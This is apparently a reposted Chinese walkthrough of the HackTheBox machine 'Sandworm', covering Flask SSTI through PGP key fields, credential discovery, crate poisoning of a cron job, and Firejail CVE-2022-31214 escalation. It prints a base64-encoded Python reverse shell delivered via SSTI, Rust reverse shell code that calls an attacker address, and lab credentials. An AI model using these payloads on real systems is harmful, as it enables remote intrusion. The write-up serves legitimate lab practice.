HackTheBox - Medium - Linux - Sandworm (我的创作纪念日

Sandworm

Sandworm 是一台中等难度的 Linux 机器,它托管了一个具有“PGP”验证服务的 Web 应用程序,该服务容易受到服务器端模板注入 (SSTI) 的攻击,导致“Firejail”监狱内的远程代码执行 (RCE)。可以在监狱中发现明文凭据,这会导致作为计算机用户之一对计算机进行“SSH”访问。从那里,发现了一个 cronjob,它编译并运行一个“Rust”二进制文件。该程序依赖于一个自定义的外部日志记录箱,用户对该箱具有写入权限,然后使用该箱作为运行 cronjob 的“atlas”用户获取 shell。最后,最近的“Firejail”漏洞(“CVE-2022-31214”)用于创建一个沙盒,攻击者可以在其中运行“su”命令并在目标系统上获取“root”shell。


外部信息收集

端口扫描

循例nmap

file

Web枚举

访问80跳转到ssa.htb

file

我看到网站底部有一个熟悉的flask

file

在contact有一个表单,用于提交pgp加密的消息,它似乎会回复我们,接着看

在/guide是一个pgp加解密器

file

/pgp给了我们public key

file

将公钥保存到本地

将公钥导入

file

再用gpg利用公钥加密我们自定义的消息

file

已经知道是flask了,所以应该考虑ssti,通过decrypt尝试ssti发现不行

file

SSTI

验证签名处,我们可以生成key然后使用公钥解密签名,在生成key的时候嵌入ssti payload

file

然后再使用这个公钥对消息进行签名

file

将公钥导出

file

将公钥和签名提交到网站

它payload成功被执行了

file

hacktricks随便来个ssti payload

{{ cycler.__init__.__globals__.os.popen('id').read() }}

file

来个python3 reverse shell payload,base64一下

file

最终ssti payload

{{ cycler.__init__.__globals__.os.popen('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjE4Iiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIikn | base64 -d | bash').read() }}

file

nc监听,它如期而至

file

但这个shell似乎有点问题,无法回车,我们只需要升级一下这个shell

ctrl + z
stty raw -echo;fg

file

但这个shell是受限制的,能做的事情很有限

本地横向移动 -> silentobserver

在家目录的.config目录下的httpie/里面我们能够找到一个admin.json文件

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat ./admin.json
{"__meta__": {"about": "HTTPie session file","help": "https://httpie.io/docs#sessions","httpie": "2.6.0"},"auth": {"password": "quietLiketheWind22","type": null,"username": "silentobserver"},"cookies": {"session": {"expires": null,"path": "/","secure": false,"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"}},"headers": {"Accept": "application/json, */*;q=0.5"}
}

这组凭据能够直接登录ssh,同时拿到user flag

file

获得不受限制的shell -> atlas

传个pspy过去

file

2023/12/21 08:26:01 CMD: UID=0     PID=3784   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=0     PID=3783   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3786   | /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3787   | /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3788   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/12/21 08:26:01 CMD: UID=1000  PID=3790   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg 
2023/12/21 08:26:01 CMD: UID=1000  PID=3792   | /usr/bin/cargo run --offline 
2023/12/21 08:26:11 CMD: UID=0     PID=3796   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:26:11 CMD: UID=0     PID=3797   | /bin/rm -r /opt/crates 
2023/12/21 08:26:11 CMD: UID=0     PID=3798   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:26:11 CMD: UID=0     PID=3799   | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet 
2023/12/21 08:28:01 CMD: UID=0     PID=3807   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3806   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3808   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3809   | sleep 10 
2023/12/21 08:28:01 CMD: UID=0     PID=3812   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=0     PID=3810   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=0     PID=3813   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=1000  PID=3814   | rustc -vV 
2023/12/21 08:28:01 CMD: UID=1000  PID=3815   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/12/21 08:28:01 CMD: UID=1000  PID=3817   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg 
2023/12/21 08:28:02 CMD: UID=1000  PID=3819   | rustc -vV 
2023/12/21 08:28:11 CMD: UID=0     PID=3823   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:28:11 CMD: UID=0     PID=3824   | 
2023/12/21 08:28:11 CMD: UID=0     PID=3825   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:28:11 CMD: UID=0     PID=3826   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:30:01 CMD: UID=0     PID=3833   | /usr/sbin/CRON -f -P 

在/opt下我们可以找到它们

我们无权修改main.rs,但是通过cargo.toml发现它调用的logger模块是在/opt/crates下的

file

lib.rs可写

file

将rust reverse shell payload拿下来改一改

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};fn main() {let s = TcpStream::connect("10.0.0.1:4242").unwrap();let fd = s.as_raw_fd();Command::new("/bin/sh").arg("-i").stdin(unsafe { Stdio::from_raw_fd(fd) }).stdout(unsafe { Stdio::from_raw_fd(fd) }).stderr(unsafe { Stdio::from_raw_fd(fd) }).spawn().unwrap().wait().unwrap();
}

把shellcode改到lib.rs的log函数中,当main那边调用log函数时,我们的nc应该会收到shell

file

file

本地权限提升 - CVE-2022-31214

我们在atlas的不受限制的shell中发现了一个新的组,查找一下有关该组的目录和文件

file

don’t upgrade

升级一下shell

file

但是我发现使用pty之后,shell似乎又变得受限了,所以重新获取了一次shell

可以看到firejail版本是0.9.68,并且还有root的suid

file

file

在谷歌搜索版本相关的漏洞能够找到一篇文章

file

这个cve能够帮助我们利用其来进行权限提升,并且还提供了exp

file

先通过常规操作向atlas用户写入ssh key,然后通过ssh登录,签名的reverse shell先不要关

file

运行exp

file

在另一个atlas的shell下执行firejail --join

file

root flag在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/295339.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++内存管理和模板初阶

C/C内存分布 请看代码: int globalVar 1; static int staticGlobalVar 1; void Test() {static int staticVar 1;int localVar 1;int num1[10] { 1, 2, 3, 4 };char char2[] "abcd";const char* pChar3 "abcd";int* ptr1 (int*)mallo…

【STM32】I2C通信

基本的任务是:通过通信线,实现单片机读写外挂模块寄存器的功能。其中至少要实现在指定位置写寄存器和在指定的位置读寄存器这两个功能。 异步时序的优点:省一根时钟线,节约资源;缺点:对事件要求严格&#…

【XR806开发板试用】通过http请求从心知天气网获取天气预报信息

1. 开发环境搭建 本次评测开发环境搭建在windows11的WSL2的Ubuntu20.04中,关于windows安装WSL2可以参考文章: Windows下安装Linux(Ubuntu20.04)子系统(WSL) (1) 在WSL的Ubuntu20.04下安装必要的工具的. 安装git: sudo apt-get install git …

基于SpringBoot实现的前后端分离书店项目,功能:注册登录、浏览商品、热门商品、购物车、购买、地址管理、密码管理等

一、项目简介 本项目主要基于SpringBoot、Mybatis-plus、MySQL、Redis实现的书店管理系统。 本系统是前后端分离的,分别由三个子项目构成:java服务端、用户浏览与购买的前端、管理员管理商品的前端 环境 java 1.8mysql8.0redisvue2.x 管理员子系统功…

05. Springboot admin集成Actuator(一)

目录 1、前言 2、Actuator监控端点 2.1、健康检查 2.2、信息端点 2.3、环境信息 2.4、度量指标 2.5、日志文件查看 2.6、追踪信息 2.7、Beans信息 2.8、Mappings信息 3、快速使用 2.1、添加依赖 2.2、添加配置文件 2.3、启动程序 4、自定义端点Endpoint 5、自定…

【JMeter入门】—— JMeter介绍

1、什么是JMeter Apache JMeter是Apache组织开发的基于Java的压力测试工具,用于对软件做压力测试。它最初被设计用于Web应用测试,但后来扩展到其他测试领域。 (Apache JMeter是100%纯JAVA桌面应用程序) Apache JMeter可以用于对静…

使用函数式接口对代码简化,完成代码重复性使用

📚目录 📚简介💨优化前原代码:⚙️ 函数编程简化🎄 JDK自带的函数式接口✨ 改造调用方式🎊 时间范围执行🎉时间范围每天执行 📚简介 因为公司的使用Xxl-Job作为任务调度平台,其中我们大部分的报…

ebay万圣节活动攻略,ebay万圣节活动怎么弄?-站斧浏览器

ebay万圣节活动攻略 提前准备:为了确保在活动期间能够及时上架商品并制定营销策略,卖家需要提前做好准备。了解活动规则和时间表,提前准备好商品和营销策略,以便在活动期间迅速响应市场需求。 优化商品列表:在活动期…

2024年个人目标制定清单~有没有适合你的那一款

在2024年,个人的生活目标可以有多种多样,这主要取决于个人的价值观、兴趣和生活情况。 个人生活目标: 健康和健身:保持身体健康和良好的心理状态是许多人重要的生活目标。这可能包括定期运动,均衡饮食,以…

【ElfBoard】ELF 1 开箱初体验

大家好,我是 Hello阿尔法,最近参与了保定飞凌嵌入式技术有限公司举办的 ElfBoard 共创社招募活动,并有幸成为了一名共创官,官方寄来了一块 ELF 1 开发板,开箱视频看这里 飞凌嵌入式「ElfBoard」开箱体验!。…

“比特币教父”发声力保铭文!拥堵问题可通过发展L2来解决!比特币比以太坊更需要L2?

继12月6日比特币核心开发者Luke公开发文抵制铭文后,比特币教父Adam Back近日提出了不同的观点。他认为不应该试图扼杀比特币铭文,因为在比特币链上发行资产给比特币矿工带来巨大的收益,对比特币的长期稳定发展是有价值的,而比特币…

高频知识汇总 | 【操作系统】面试题汇总(万字长博通俗易懂)

前言 这篇我亲手整理的【操作系统】资料,融入了我个人的理解。当初我在研习八股文时,深感复习时的困扰,网上资料虽多,却过于繁杂,有的甚至冗余。例如,文件管理这部分,在实际面试中很少涉及&…